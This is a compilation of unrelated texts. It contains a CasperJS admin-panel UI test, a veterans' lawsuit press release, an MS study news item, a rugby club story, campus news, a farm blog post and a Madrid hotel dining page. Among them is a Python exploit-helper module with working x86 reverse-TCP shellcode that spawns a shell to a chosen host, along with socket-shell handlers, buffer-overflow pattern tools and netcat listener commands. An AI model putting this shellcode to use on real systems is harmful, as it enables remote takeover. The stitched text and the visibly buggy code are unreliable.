        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-private"].checked', 'Verify that the \'private\' privacy option is checked after clicking it');

        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .modal-footer button[data-dismiss="modal"]', 'Verify that the cancel button is present');
        test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .modal-footer button[type="submit"]', 'Verify that the submit button is present');
    };

    /**
     * Verify all manage user elements on the email tab are present
     */
    var verifyManageUserElementsEmail = function() {
        casper.echo('Verify email tab elements', 'PARAMETER');
        test.assertExists('#manageuser-modal #manageuser-tab-container a[href="#manageuser-email-form"]', 'Verify that the email tab is present');
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-email-form"]');
        test.assertExists('#manageuser-modal #manageuser-tab-container li.active a[href="#manageuser-email-form"]', 'Verify that the email tab is active after clicking the tab');
        test.assertExists('#manageuser-modal .tab-content #manageuser-email-form.active', 'Verify that the email pane is showing after clicking the tab');

        test.assertSelectorHasText('#manageuser-modal #manageuser-email-form.active h4', 'Email notifications', 'Verify that \'Email notifications\' label is present and has the correct title');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container', 'Verify that the email options container is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-immediate"]', 'Verify that the \'immediate\' email option label is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-immediate"] input[type="radio"]', 'Verify that the \'immediate\' email option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-daily"]', 'Verify that the \'daily\' email option label is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-daily"] input[type="radio"]', 'Verify that the \'daily\' email option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-weekly"]', 'Verify that the \'weekly\' email option label is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-weekly"] input[type="radio"]', 'Verify that the \'weekly\' email option radio button is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-immediate"].checked', 'Verify that the \'immediate\' email option is checked');
        casper.click('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-weekly"] input[type="radio"]');
        test.assertDoesntExist('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-immediate"].checked', 'Verify that the \'immediate\' email option is unchecked after clicking a different email option');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-weekly"].checked', 'Verify that the \'weekly\' email option is checked after clicking it');

        test.assertExists('#manageuser-modal #manageuser-email-form.active .modal-footer button[data-dismiss="modal"]', 'Verify that the cancel button is present');
        test.assertExists('#manageuser-modal #manageuser-email-form.active .modal-footer button[type="submit"]', 'Verify that the submit button is present');
    };

    /**
     * Verify all manage user elements on the actions tab are present
     *
     * @param  {User}    user    User profile object to test with
     */
    var verifyManageUserElementsActions = function(user) {
        casper.echo('Verify actions tab elements', 'PARAMETER');
        test.assertExists('#manageuser-modal #manageuser-tab-container a[href="#manageuser-actions-form"]', 'Verify that the actions tab is present');
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-actions-form"]');
        test.assertExists('#manageuser-modal #manageuser-tab-container li.active a[href="#manageuser-actions-form"]', 'Verify that the actions tab is active after clicking the tab');
        test.assertExists('#manageuser-modal .tab-content #manageuser-actions-form.active', 'Verify that the actions pane is showing after clicking the tab');

        test.assertSelectorHasText('#manageuser-modal #manageuser-actions-form.active h4', 'Become user', 'Verify that \'Become user\' label is present and has the correct title');
        test.assertExists('#manageuser-modal #manageuser-actions-form.active #manageuser-become-user', 'Verify that \'Become user\' button is present');
        test.assertSelectorHasText('#manageuser-modal #manageuser-actions-form.active #manageuser-become-user', 'Become ' + user.displayName, 'Verify that \'Become user\' button has the correct title');
        test.assertSelectorHasText('#manageuser-modal #manageuser-actions-form.active h4', 'Administration', 'Verify that \'Administration\' label is present and has the correct title');
        test.assertExists('#manageuser-modal #manageuser-actions-form.active input[type="checkbox"]#manageuser-privileges-isadmin', 'Verify that \'Tenant administrator\' checkbox is present');
        test.assertEvalEquals(function() {
            return $('#manageuser-modal #manageuser-actions-form.active input[type="checkbox"]#manageuser-privileges-isadmin').is(':checked');
        }, false, 'Verify that \'Tenant administrator\' checkbox is unchecked by default');

        test.assertExists('#manageuser-modal #manageuser-actions-form.active .modal-footer button[data-dismiss="modal"]', 'Verify that the cancel button is present');
        test.assertExists('#manageuser-modal #manageuser-actions-form.active .modal-footer button[type="submit"]', 'Verify that the submit button is present');
    };

    /**
     * Verify all manage user elements on the password tab are present
     */
    var verifyManageUserElementsPassword = function() {
        casper.echo('Verify password tab elements', 'PARAMETER');
        test.assertExists('#manageuser-modal #manageuser-tab-container a[href="#manageuser-password-form"]', 'Verify that the password tab is present');
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-password-form"]');
        test.assertExists('#manageuser-modal #manageuser-tab-container li.active a[href="#manageuser-password-form"]', 'Verify that the password tab is active after clicking the tab');
        test.assertExists('#manageuser-modal .tab-content #manageuser-password-form.active', 'Verify that the password pane is showing after clicking the tab');

        test.assertExists('#manageuser-modal .tab-content #manageuser-password-form label[for="manageuser-new-password"]', 'Verify that the \'New password\' label is present');
        test.assertSelectorHasText('#manageuser-modal .tab-content #manageuser-password-form label[for="manageuser-new-password"]', 'New password:', 'Verify that the \'New password\' label has the correct title');
        test.assertExists('#manageuser-modal .tab-content #manageuser-password-form input#manageuser-new-password', 'Verify that the \'New password\' input field is present');
        test.assertExists('#manageuser-modal .tab-content #manageuser-password-form label[for="manageuser-retype-password"]', 'Verify that the \'Re-type new password\' label is present');
        test.assertSelectorHasText('#manageuser-modal .tab-content #manageuser-password-form label[for="manageuser-retype-password"]', 'Re-type new password:', 'Verify that the \'Re-type new password\' label has the correct title');
        test.assertExists('#manageuser-modal .tab-content #manageuser-password-form input#manageuser-retype-password', 'Verify that the \'Re-type new password\' input field is present');

        test.assertExists('#manageuser-modal #manageuser-password-form.active .modal-footer button[data-dismiss="modal"]', 'Verify that the cancel button is present');
        test.assertExists('#manageuser-modal #manageuser-password-form.active .modal-footer button[type="submit"]', 'Verify that the submit button is present');
    };

    /**
     * Verify that all manage user elements specific to regular users are present
     *
     * @param  {User}    user    User profile object to test with
     */
    var verifyManageUserElementsForRegularuser = function(user) {
        casper.then(function() {
            verifyManageUserElementsProfile(user);
        });
        casper.then(verifyManageUserElementsEmail);
        casper.then(function() {
            verifyManageUserElementsActions(user);
        });
        casper.then(verifyManageUserElementsPassword);
    };

    /**
     * Verify that the user profile can be edited
     *
     * @param  {User}    user    User profile object to test with
     */
    var verifyEditProfile = function(user) {
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-editprofile-form"]');
        user.displayName = mainUtil.generateRandomString();
        user.email = mainUtil.generateRandomString() + '@example.com';
        casper.fill('#manageuser-modal #manageuser-editprofile-form', {
            'manageuser-editprofile-name': user.displayName,
            'manageuser-editprofile-email': user.email,
        }, false);
        casper.click('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container input[value="private"]');
        casper.click('#manageuser-modal #manageuser-editprofile-form.active .modal-footer button[type="submit"]');
        casper.waitForSelector('#oae-notification-container .alert', function() {
            test.assertDoesntExist('#oae-notification-container .alert.alert-error', 'Verify that the profile can be successfully edited');
            casper.click('#oae-notification-container .close');
            casper.wait(configUtil.modalWaitTime, function() {
                openManageUser(user);
            });

            casper.then(function() {
                test.assertEvalEquals(function() {
                    return $('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-name').val();
                }, user.displayName, 'Verify that \'Name\' input field has the updated display name');
                test.assertEvalEquals(function() {
                    return $('#manageuser-modal #manageuser-editprofile-form.active input#manageuser-editprofile-email').val();
                }, user.email, 'Verify that \'Email\' input field has the updated email');
                test.assertExists('#manageuser-modal #manageuser-editprofile-form.active .oae-large-options-container label[for="oae-visibility-private"].checked', 'Verify that the \'private\' privacy option is checked after updating the profile');
            });
        });
    };

    /**
     * Verify that the email settings can be edited
     *
     * @param  {User}    user    User profile object to test with
     */
    var verifyEditEmail = function(user) {
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-email-form"]');
        casper.click('#manageuser-modal #manageuser-email-form.active .oae-large-options-container input[value="weekly"]');
        casper.click('#manageuser-modal #manageuser-email-form.active .modal-footer button[type="submit"]');
        casper.waitForSelector('#oae-notification-container .alert', function() {
            test.assertDoesntExist('#oae-notification-container .alert.alert-error', 'Verify that the email settings can be successfully edited');
            casper.click('#oae-notification-container .close');
            casper.wait(configUtil.modalWaitTime, function() {
                openManageUser(user);
            });
            casper.then(function() {
                casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-email-form"]');
                test.assertExists('#manageuser-modal #manageuser-email-form.active .oae-large-options-container label[for="manageuser-email-weekly"].checked', 'Verify that the \'weekly\' email option is checked after updating the email preferences');
                user.emailPreference = 'weekly';
            });
        });
    };

    /**
     * Verify that the actions can be edited
     *
     * @param  {User}    user    User profile object to test with
     */
    var verifyEditActions = function(user) {
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-actions-form"]');
        casper.click('#manageuser-modal #manageuser-actions-form.active #manageuser-become-user');
        casper.waitForSelector('#me-clip-container h1', function() {
            test.assertSelectorHasText('#me-clip-container h1', user.displayName, 'Verify that an administrator can become a user');
            userUtil.doLogOut();
            uiUtil.openAdminUserManagement(configUtil.tenantAlias, user.displayName);
            casper.then(function() {
                openManageUser(user);
            });
            casper.then(function() {
                casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-actions-form"]');
                casper.click('#manageuser-modal #manageuser-actions-form.active input[type="checkbox"]#manageuser-privileges-isadmin');
                casper.click('#manageuser-modal #manageuser-actions-form.active .modal-footer button[type="submit"]');
                casper.waitForSelector('#oae-notification-container .alert', function() {
                    test.assertDoesntExist('#oae-notification-container .alert.alert-error', 'Verify that the actions settings can be successfully edited');
                    casper.click('#oae-notification-container .close');
                    casper.wait(configUtil.modalWaitTime, function() {
                        openManageUser(user);
                    });
                    casper.then(function() {
                        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-actions-form"]');
                        test.assertEvalEquals(function() {
                            return $('#manageuser-modal #manageuser-actions-form.active input[type="checkbox"]#manageuser-privileges-isadmin').is(':checked');
                        }, true, 'Verify that \'Tenant administrator\' checkbox is checked after submitting the form');
                        casper.waitForSelector('#manageuser-modal #manageuser-modal-title .badge', function() {
                            test.assertExists('#manageuser-modal #manageuser-modal-title .badge', 'Verify that the \'Administrator\' badge is now shown next to the modal title');
                            test.assertSelectorHasText('#manageuser-modal #manageuser-modal-title .badge', 'Administrator', 'Verify that the \'Administrator\' badge has the correct text');
                        });
                    });
                });
            });
        });
    };

    /**
     * Verify that the password can be edited
     */
    var verifyEditPassword = function() {
        casper.click('#manageuser-modal #manageuser-tab-container a[href="#manageuser-password-form"]');
        var password = mainUtil.generateRandomString();
        casper.fill('#manageuser-modal #manageuser-password-form', {
            'manageuser-new-password': password,
            'manageuser-retype-password': password
        }, false);
        casper.click('#manageuser-modal #manageuser-password-form.active .modal-footer button[type="submit"]');
        casper.waitForSelector('#oae-notification-container .alert', function() {
            test.assertDoesntExist('#oae-notification-container .alert.alert-error', 'Verify that the password can be successfully edited');
            casper.click('#oae-notification-container .close');
        });
    };

    casper.start(configUtil.tenantUI, function() {

        // Create a user to test with
        userUtil.createUsers(1, function(user1) {
            uiUtil.openAdmin();
            userUtil.doLogIn(configUtil.adminUsername, configUtil.adminPassword);
            uiUtil.openAdminUserManagement(configUtil.tenantAlias, user1.displayName);

            casper.then(function() {
                casper.echo('# Verify open manage user modal', 'INFO');
                openManageUser(user1);
            });

            casper.then(function() {
                casper.echo('# Verify manage user elements', 'INFO');
                verifyManageUserElementsForRegularuser(user1);
            });

            casper.then(function() {
                casper.echo('# Verify updating the user profile', 'INFO');
                verifyEditProfile(user1);
            });

            casper.then(function() {
                casper.echo('# Verify updating the email settings', 'INFO');
                verifyEditEmail(user1);
            });

            casper.then(function() {
                casper.echo('# Verify updating the actions settings', 'INFO');
                verifyEditActions(user1);
            });

            casper.then(function() {
                casper.echo('# Verify updating the password', 'INFO');
                verifyEditPassword();
            });

            userUtil.doLogOut();

        });
    });

    casper.run(function() {
        test.done();
    });
});


text:
IMMEDIATE RELEASE
Mokie Porter
VA Rejects Proposal to End Discrimination Against
Military Sexual Assault Survivors
VVA, SWAN File Suit
(WASHINGTON, DC)—Today, Vietnam Veterans of America (VVA) and Service Women's Action Network (SWAN) sued the U.S. Department of Veterans Affairs (VA) for denying their petition for rulemaking to change regulations that discriminate against thousands of veterans suffering from Post-traumatic Stress Disorder (PTSD) caused by rape, sexual assault, or harassment during military service. The lawsuit aims to end gender disparities and discriminatory policies at the VA, which the organizations argue are a violation of equal protection under the law.
Veterans who experience physical, mental, or emotional struggles related to their service are entitled to seek disability compensation from the VA. The most common mental-health condition that Military Sexual Trauma (MST) survivors experience is PTSD. The majority of MST-related PTSD claims are submitted by women. Currently, the VA refuses to accept MST survivors' lay testimony alone to establish eligibility for compensation. As a result, the VA continues to deny MST-related disability compensation claims at a significantly higher rate than other non-MST-related claims.
"VA is doing everything it can to deny compensation to veterans impacted by sexual assault and sexual harassment," said Anu Bhagwati, Service Women's Action Network executive director and former Marine Corps Captain. "Over several years, we've gathered startling evidence that VA has been systematically discriminating against veterans applying for benefits based on Military Sexual Trauma."
SWAN, along with the American Civil Liberties Union, has collected data through Freedom of Information Act litigation that reveals many discrepancies in approval rates between MST and other PTSD-related claims. From 2009 to 2012, MST-related PTSD claims were approved 16 to 30 percent less frequently than other PTSD claims. The VA had refused to share these data prior to actions taken by SWAN, ACLU, and Yale.
The VA has previously admitted problems with evidentiary standards for MST-related claims but maintains that its current policies provide an accurate and fair adjudication. However, the existing rules discriminate on the basis of gender, against both men and women. "The VA's current discriminatory policies leave thousands of military sexual trauma survivors, both male and female, without the benefits that would aid in their ongoing recovery," said Dr. Tom Berger, a former Navy Corpsman and Executive Director of the Veterans Health Council at VVA. "The VA knows the current process places a higher evidentiary burden on survivors of military sexual harassment and assault than veterans with non-MST-related claims but still refuses to act."
On June 27, 2013, VVA and SWAN submitted a petition for rulemaking to the VA pursuant to the Administrative Procedure Act. The petition sought to end this discriminatory treatment and eliminate the barriers that exist specifically for MST survivors seeking compensation. When the VA ignored it, the groups filed suit to force the agency to act. On July 14, 2014, the VA rejected the rulemaking petition. SWAN and VVA have now filed a second lawsuit to obtain judicial review of the VA's refusal to revise its discriminatory rules.
In the lawsuit filed this morning, VVA and SWAN argue that the VA "arbitrarily and capriciously" denied their petition in violation of the Administrative Procedure Act. They also argue that the current VA rules unconstitutionally discriminate against service members based on gender.
"The current VA policies require MST survivors to re-live their assault repeatedly, and then do not allow that testimony to be sufficient to establish a service-connection," said Greg Jacob, SWAN's policy director and a former Marine Corps infantry officer. "This sends a message to the survivor that the VA does not believe them and, this, as a result, becomes a secondary assault—once by a fellow serviceperson, and again by the VA denying their claim."
"The VA contends that the changes it has made help put MST survivors on equal footing with veterans filing other claims. But these measures have not changed the VA's discriminatory policies," said Yunsieg Kim, a law student intern at the Veterans Legal Services Clinic at Yale Law School, which represents VVA and SWAN in this petition. "We hope this lawsuit will ensure MST survivors are no longer discriminated against." A copy of the Petition for Rulemaking can be found at http://www.law.yale.edu/academics/18333.htm along with the original petition.
Vietnam Veterans of America (VVA) is the nation's only congressionally chartered veterans service organization dedicated to the needs of Vietnam-era veterans and their families. VVA's founding principle is "Never again will one generation of veterans abandon another." www.vva.org
SWAN (www.servicewomen.org) is a national nonpartisan civil rights organization founded and led by women veterans. SWAN's mission is to transform military culture by securing equal opportunity and the freedom to serve in uniform without discrimination, harassment or assault; and to reform veterans' services to ensure high quality health care and benefits for women veterans and their families. You can follow Service Women's Action Network on Twitter at http://twitter.com/servicewomen, or on Facebook at http://www.facebook.com/servicewomen.
In the Veterans Legal Services Clinic at Yale Law School, law students represent individual veterans and their organizations under the supervision of clinical professors. Students engage in litigation before administrative agencies and courts on matters including disability benefits claims, Freedom of Information Act requests, and civil rights lawsuits. In addition, students represent local and national organizations on policy matters relating to the legal needs of veterans.
©2006-2013, Vietnam Veterans of America. All Rights Reserved. | Report Website Errors Here


text:
Study identifies characteristics that may constitute the MS prodrome
Publish date: February 11, 2018
Doug Brunk
Clinical Neurology News
REPORTING FROM ACTRIMS FORUM 2018
SAN DIEGO – Compared with controls, patients who developed MS were more frequently admitted to the hospital or visited a physician for problems related to the nervous system, sensory organs, musculoskeletal system, and genitourinary system in the 5 years prior to MS onset, a multicenter matched cohort study found.
"People are seeking help for different conditions that are most likely related to their MS," one of the study authors, Elaine Kingwell, PhD, said in an interview at the meeting held by the Americas Committee for Treatment and Research in Multiple Sclerosis. "It suggests there could be opportunity to recognize and possibly diagnose and treat MS earlier."
Doug Brunk/Frontline Medical News
Dr. Elaine Kingwell
In a previously published study (Lancet Neurol. 2017;16[6]:445-51) led by Helen Tremlett, PhD, and first author Jose Wijnands, PhD, the team found increased health care utilization in people with MS across all health sectors – physician, hospital, and pharmacy (prescriptions filled).
For the current study, the team set out to identify early signs and symptoms that could define the MS prodrome. "We wanted to know why people went to the hospital, why people went to their physician, what kind of drugs they were prescribed, and what kind of specialists they saw," explained Dr. Kingwell, an epidemiologist in the department of neurology at the University of British Columbia, Vancouver.
The researchers used health administrative and MS-specific data from four Canadian provinces to conduct a multicenter matched cohort study. Individuals were required to be in the province from 5 years pre-index date, measured as either the first demyelinating event in health administrative data or MS onset as determined by the treating neurologist, until the MS cases' third demyelinating claim or diagnosis date. The potential for a prodromal period was examined in the 5 years pre-index date, and outcomes of interest were number of physician and hospital encounters per ICD-10 chapter, number of physician encounters per physician specialty, and percentage of people with one or more filled prescription per drug class.
Click here to receive MS news and information via e-mail
SUBSCRIBE to our MS Learning Channel on YouTube: www.youtube.com/msviewsandnews
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Posted by Stuart at February 14, 2018
video: 10 Tips to Combat Social Isolation in Multi...
video: Multiple Sclerosis and Dogs: 7 reasons peop...
Ipsen Announces Dysport® (abobotulinumtoxinA) Data...
Stem Cell Treatment Benefits Three-fourths of MS P...
What Vitamin D Could Do for MS Patients
Deep-brain Stimulation May Offer Way of Treating F...
MS may be a transmissible protein misfolding disor...
Study identifies characteristics that may constitu...
Third course of Alemtuzumab (LEMTRADA) can improve...
First Steps: Confessions of an HSCT ( Hematopoieti...
ACTRIMS Recognizes Young Investigators at Forum 20...
Bayer Introduces Self-injecting Device to Help Gro...
A review on stem cell therapy for multiple scleros...
Combo Can Stop Tysabri-related #PML Infection from...
The JC Virus and Risks for People with Multiple Sc...
10 HINTS FOR QUALITY CARE OF PEOPLE WITH MS
Video: No Evidence Of Progression: New Outcome Mea...
Aaron Boster, MD Video: I don't agree with the Esc...


text:
JUNIOR REPS
Next Crop of Titans Join the Top Squad
Titans.com.au
Tue 17 Dec 2019, 06:19 PM
The next crop of Titans stars yesterday joined the NRL squad in the annual all of club training session at the High Performance Centre.
With only a small number of training sessions left before the first block of pre-season training comes to an end, Coach Justin Holbrook and Elite Player Development Manager Jamie McCormack brought every contracted Titans player in for a joint training session, giving the young Titans a real look at the pathway to the top.
Close to 80 players were in attendance with Holbrook taking charge of the group in a real show of club unity.
McCormack, who heads up the Westfund Junior Titans System, has run this whole of club session for a number of years and can see the benefits for every player.
"Justin the NRL Coach has embraced the concept but it's great for the juniors to mingle with the NRL players and make everyone feel as though we are one club and we're all on the bus going in the same direction," McCormack said.
"It's a great opportunity for our juniors to actually train alongside our NRL squad.
"A lot of the boys are young and they're super excited to catch and pass alongside an NRL player.
"It's generally for all our boys that are contracted, along with their parents, to show that we are all connected. To show that there is a genuine pathway and I also think it's a good opportunity to show the NRL that there is a new crop of talent coming through."
Whilst it was more of a skills-based session, McCormack believes the benefits each of the young players will take away will help them in the future.
"There were a lot of skills and drills done," McCormack added.
"They all aspire to get to where the NRL players are at. They're not out of their depth skills-wise but they've got a bit of developing and growing to do yet."


text:
ELAC Campus News art director scores professional award
Despite finding himself in quarantine like much of the country, Steven Adamo, one of East Los Angeles College Campus News' most decorated staff members, has won yet another award in journalism.
Adamo, ELAC Campus News art director, won second place in editorial cartooning at the Los Angeles Press Club's 62nd Southern California Journalism Awards.
Identifying legitimate news stories
By Sergio Berreuta Recognizing legitimate news sources is an important issue that everyone must acknowledge and understand. With major media outlets being labeled as fake and online stories growing more and more believable it's beginning to become more and more difficult to distinguish what is real and what is fake news. The main problem with fake news is that illegitimate articles can spark major controversy with the smallest cases of…


text:
import re
import socket
import time
import sys
import telnetlib
import select
from struct import pack,unpack
from string import ascii_lowercase as ALPHABET

class Exploit():
    def __init__(self, ip_addr, port, exploit_type):
        self.ip = ip_addr
        self.port = port
        self.type = exploit_type

        self.connectback = None
        self.bind = None

        self.stage = [] # list of input to send to get to arbitrary execution
        self.shellcode = None

    def connect_back(self, ip_addr, port):
        self.connectback = (ip_addr, port)

    def bind_shell(self, port):
        self.bind = port

    def prepare(self, input):
        self.stage.append(input)

    def generate(self, arch='x86'):
        if self.type == 'connectback':
            if self.connectback == None:
                raise RuntimeError("You haven't set parameters for the connect back")
            self.shellcode = reverse_tcp(self.connectback[0], self.connectback[1], arch)
        elif self.type == 'bind':
            if self.bind == None:
                raise RuntimeError("You haven't set parameters for the bind shell")
            self.shellcode = bind_shell(self.bind, arch) # needs implementation

    def display(self):
        for x in self.stage:
            sys.stdout.write(x)
        sys.stdout.write(repr(self.shellcode)[1:-1])

    def throw(self): # needs implementation
        connect = get_socket((self.ip, self.port))
        for send in self.stage:
            connect.send(send)
            time.sleep(.5)
            print (sock.recv(0x10000))
        connect.send(self.shellcode)

def bind_shell(port, arch='x86'):
    '''
    Generate x86 bind shell shellcode (You connnect to the shell)

    Usage:
    reverse_tcp(ip_addr, port)
        ip_addr = connect back IP address as string
        port = connect back port as int
    A command you could use to setup a connection on your system is 'nc 127.0.0.1 7788'
    With 127.0.0.1 replaced with the ip of the target box.
    '''

    if arch.lower() == 'x86':
        port = pack('>H', port)
        BIND_SHELL = BIND_SHELL_X86
    pass

def reverse_tcp(ip_addr, port, arch='x86'):
    '''
    Generate x86 reverse tcp shellcode (The shell connects to you)

    Usage:
    reverse_tcp(ip_addr, port)
        ip_addr = connect back IP address as string
        port = connect back port as int
    A command you could use to setup a listener on your system is 'nc -vl 7788'
    '''

    if arch.lower() == 'x86':
        ip = ''.join([chr(int(x)) for x in ip_addr.split('.')])
        port = pack('>H', port)

        REVERSE_TCP_X86 = (
            '\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\x43\xb0\x66\x89\xe1\xcd\x80\x89\xc6'
            '\x31\xc0\xb0\x66\x43\x68' + ip + '\x66\x68' + port + '\x66\x53\x89\xe1'
            '\x6a\x10\x51\x56\x43\x89\xe1\xcd\x80\x89\xc7\x31\xc9\x89\xc8\x89\xca\xb1'
            '\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f'
            '\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xc9\x89\xca\xcd\x80'
            )

        REVERSE_TCP = REVERSE_TCP_X86

    elif arch.lower() == 'x64':
        REVERSE_TCP = REVERSE_TCP_X64 # need implementation

    elif arch.lower() == 'arm':
        REVERSE_TCP == REVERSE_TCP_ARM # need implementation

    elif arch.lower() == 'mips':
        REVERSE_TCP = REVERSE_TCP_MIPS # need implementation

    banned = ('\x00', '\x0a', '\x0d')
    for x in banned:
        if x in REVERSE_TCP_X86:
            print ('This shellcode may not work because of {} at index {}'.format(repr(x), REVERSE_TCP.index(x)))

    return REVERSE_TCP_X86

def is_ipv6(ip):
    return ':' in ip

def get_socket(chal):
    '''chal is a 2-tuple with an address and a port  ex: ('127.0.0.1',111)'''
    #is ipv6?
    ip,port=chal
    if is_ipv6(ip):
        s=socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)
        s.settimeout(5)
        s.connect((ip,port,0,0))
    else:#ipv4
        s=socket.socket()
        s.settimeout(5)
        s.connect(chal)
    return s

def shell(sock):
    '''
    pass to this function a socket object with a
    listening shell(socket reuse)
    '''
    command=''
    prompt='$ '

    while(command != 'exit\n'):
        r,w,x=select.select([sock,sys.stdin],[sock],[])
        if r:
            for reading in r:
                if reading==sock:
                    print (reading.recv(0x10000))
                if reading==sys.stdin:
                    command=reading.readline()
                    sock.send(command)

    return

def lei(*nums):
    '''
    wrapper for struct.pack("I/i"), will identify signdness and
    takes a variable number of arguments
    '''
    if(len(nums)==1):
        num=nums[0]
        if(num>0):
            return pack("<I",num) # little-endian, unsigned int
        else:
            return pack("<i",num) # little-endian int
    else:
        return ''.join(map(lei,nums))

def lei64(*nums):
    '''
    wrapper for struct.pack("Q/q"), will identify signdness and
    takes a variable number of arguments
    '''
    if(len(nums)==1):
        num=nums[0]
        if(num>0):
            return pack("<Q",num) # little-endian, unsigned int
        else:
            return pack("<q",num) # little-endian int
    else:
        return ''.join(map(lei64,nums))

def chunk(iterable, chunk_size):
    '''Divide iterable into chunks of chunk_size'''
    for i in range(0, len(iterable), chunk_size):
        yield iterable[i:i+chunk_size]

def gen_pattern_string():
    '''Generator for pattern strings'''
    for x in ALPHABET:
        for y in ALPHABET:
            for z in range(10):
                yield ''.join([x.upper(), y, str(z)])

MAX_PAT=''.join(gen_pattern_string())

def pattern_create(n):
    return MAX_PAT[:n]

def pattern_offset(offset):
    '''
    Search for offset in pattern string.
    Will accept an int of the form 0x12345678 or a
    string that looks like '12345678'
    '''
    if(type(offset)==type(999)):
        offset=hex(offset)[2:].zfill(8)
    findMe=reduce(lambda a,b:b+a,chunk(offset,2)).decode('hex')
    return MAX_PAT.index(findMe)

def brute(iterable, r=None):
    ''' http://docs.python.org/2/library/itertools.html#itertools.permutations '''
    # permutations('ABCD', 2) --> AB AC AD BA BC BD CA CB CD DA DB DC
    # permutations(range(3)) --> 012 021 102 120 201 210
    pool = tuple(iterable)
    n = len(pool)
    r = n if r is None else r
    if r > n:
        return
    indices = range(n)
    cycles = range(n, n-r, -1)
    yield tuple(pool[i] for i in indices[:r])
    while n:
        for i in reversed(range(r)):
            cycles[i] -= 1
            if cycles[i] == 0:
                indices[i:] = indices[i+1:] + indices[i:i+1]
                cycles[i] = n - i
            else:
                j = cycles[i]
                indices[i], indices[-j] = indices[-j], indices[i]
                yield tuple(pool[i] for i in indices[:r])
                break
        else:
            return

def telnet_shell(sock):
    '''pass to this function a socket object with a listening shell(socket reuse)'''
    tc = telnetlib.Telnet()
    tc.sock = sock
    tc.interact()
    return


My kindred friend Tara took all our treasures for a night last weekend while the Cowboy and I were in CA. And this weekend she got to go away for a few days so we had one giant sleepover here on the farm with four of her kids.
The girls spent hours playing "Annie." They told me they were pretending that they were orphans and that they all had dark skin. It made me smile.
Miss Viv was dying to ride the ponies. The snow had melted tremendously and it was a beautiful day for a ride.
10 treasures around the farmhouse table.
My sweet Grandma knows how we get stuck inside a lot during the winter so she sent each kid something they could use indoors. She got one of the kids this gummy bear maker and it was the perfect treat to make at our sleepover.
Before bed the boys watched a movie in the boys room and the girls watched a movie in the girls room, each equipped with a large bowl of popcorn.
The Cowboy made blueberry pancakes and farm fresh eggs for breakfast.
These two cuties made their own map, loaded up their backpacks with dozens of trinkets and spent the afternoon in the treehouse.
Miss Arie was terrified of our dog, so she stuck close to me and Shiloh all weekend.
The boys went back and forth between playing Connect Four and Battle Ship .
When Tara and I first met, we had 3 kids between the two of us. Who would have thought that one day would have 11 amazing treasures; enough for one giant sleepover under the farmhouse roof.
It was a loud, busy, adventurous, hilarious, & full 24 hours. I'm so thankful for all these fun kids in my life.


text:
Madrid • Spain
Pestana Plaza Mayor Madrid
Hotel & Heritage Building
Authentic cuisine, unique atmosphere
Located in the main courtyard of the hotel, the real spiritual heart of the building, the restaurant is framed by four charming Indian Bay Trees, a glazed roof and original Portuguese flooring.
The RIB – Casa de la Carnicería – Beef & Wine is a restaurant specialising in the freshest, most tender marbled beef. With direct access from Calle Imperial, it has a specialist cocktail bar that creates a unique social space for food, drinks, and the most sophisticated range of wines. It even has private rooms for small groups.
Café de La Plaza
Summer: 11:00 am - 01:00 am Winter: 11:00 am - 11:00 pm Number of seats: 85 Know More
Summer: 11:00 am - 01:00 am Winter: 11:00 am - 11:00 pm Number of seats: 85
From a late breakfast to a night cap, watch the rhythm and movement of this city. In the café that looks out over the Plaza Mayor, you can enjoy a light meal and typical Spanish or Portuguese dishes all day long.
Book your table here
Cocktail Bar by RIB
From Sunday to Thursday: 12:00 pm - 00:00 am From Friday to Saturday: 12:00 pm - 1:30 am Know More
From Sunday to Thursday: 12:00 pm - 00:00 am From Friday to Saturday: 12:00 pm - 1:30 am
You can have breakfast here before setting off on a walk around the city or attending a business meeting. In the evening, try one of the exclusive cocktails made by our bartenders. The entrance on Calle Imperial allows you to walk to the Plaza Mayor through the inner courtyard.
RIB | Casa de la Carnicería | Beef & Wine
Lunch: 12:30 pm to 3.30 pm Dinner: 7:30 pm to 11:30 pm Number of seats: 80 Know More
Lunch: 12:30 pm to 3.30 pm Dinner: 7:30 pm to 11:30 pm Number of seats: 80
Inspired by the name of the building it now occupies, "La Casa de la Carnecería," and by the success of the RIB Beef and Wine in Porto and Lisbon, the restaurant's speciality is beef. But you'll also find other dishes on the menu, including vegetarian meals and typical Iberian cuisine. You can enjoy a tasty and quiet meal here.
Hotel Menu
